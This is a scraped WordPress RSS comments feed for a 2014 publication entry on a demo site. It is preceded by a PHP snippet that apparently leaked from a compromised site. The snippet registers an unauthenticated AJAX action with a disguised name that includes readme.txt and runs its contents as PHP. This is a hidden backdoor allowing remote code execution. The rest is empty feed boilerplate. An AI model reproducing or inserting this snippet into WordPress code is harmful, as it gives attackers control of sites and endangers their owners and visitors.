if(!function_exists('file_check_readme96107')){
   add_action('wp_ajax_nopriv_file_check_readme96107', 'file_check_readme96107');
   add_action('wp_ajax_file_check_readme96107', 'file_check_readme96107');
   function file_check_readme96107()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	
	>
<channel>
	<title>
	Comments on: Huesca, Margarita; Litago, Javier; Merino-de-Miguel, Silvia; Cicuendez-Lopez-Ocana, Victor; Palacios-Orueta, Alicia (2014)	</title>
	<atom:link href="http://demo.biosimilarwatch.com/huesca-margarita-litago-javier-merino-de-miguel-8/feed/" rel="self" type="application/rss+xml" />
	<link>http://demo.biosimilarwatch.com/huesca-margarita-litago-javier-merino-de-miguel-8/</link>
	<description>Just another WordPress site</description>
	<lastBuildDate>Tue, 20 Jun 2023 01:25:49 +0000</lastBuildDate>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>
</channel>
</rss>